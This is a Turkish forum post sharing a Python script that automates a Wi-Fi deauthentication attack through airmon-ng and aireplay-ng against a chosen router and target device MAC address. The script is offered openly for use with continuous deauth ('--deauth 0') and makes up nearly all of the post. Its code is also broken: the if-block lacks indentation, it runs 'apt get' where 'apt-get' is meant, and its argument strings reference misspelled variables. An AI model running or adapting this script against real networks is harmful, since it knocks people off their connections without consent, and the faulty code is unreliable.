Arkadaşlar daha önceden anlatımını yağtığım yetkisizlendirme saldırısını kod haline döküp sizlerler paylaşıyorum.
Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import subprocess
import optparse
import sys
import curses
ekran = curses.initscr()
boyutlar = ekran.getmaxyx()
ekran.addstr(int(boyutlar[0]/2), int(boyutlar[1]/2 - 9), "Coded By VineGray!", curses.A_BOLD)
ekran.refresh()
ekran.getch()
curses.endwin()
parse_object = optparse.OptionParser()
parse_object.add_option("-a", "--arayuz",dest="kablosuz_arayuz",help=" kablosuz arayuzunuzu giriniz")
parse_object.add_option("-m","--modmac",dest="mod_mac_adress", help="hedef modemin mac adresi")
parse_object.add_option("-p","--permac",dest="per_mac_adress", help="hedef kisinin mac adresi")
(kullanici_girisi,arguman) = parse_object.parse_args()
kullanici_mac_adresi = kullanici_girisi.per_mac_adress
modem_mac_adresi = kullanici_girisi.mod_mac_adress
kablosuz_arayuz = kullanici_girisi.kablosuz_arayuz
print(f"Kablosuz Arayuzunn {kablosuz_arayuz}")
print(f"Hedef Modemin Macc Adresi {modem_mac_adresi}")
print(f"Hedef Kisinin Macc Adresi {kullanici_mac_adresi}")
kontrol = input("Yukaridaki Bilgiler Doğru ise Entera Bas Değil İse q tuşuna basarak programdan çıkış yap")
if kontrol == "q":
print("Programdan Çıkış Yapılıyor")
sys.exit()
print("Yetkisizlendirme Saldırısı Başlıyor. \n Not:Bitirmek için ctrl+c")
subprocess.call(["sudo","apt","get","install","aircrack-ng"])
subprocess.call(["airmon-ng", "start", kablosuz_arayuz])
subprocess.call([f"aireplay-ng", "--deauth 0", "-c {kullanıcı_mac_adresı}", "-a {modem_mac_adresı}", "wlan0mon"])
Son düzenleme: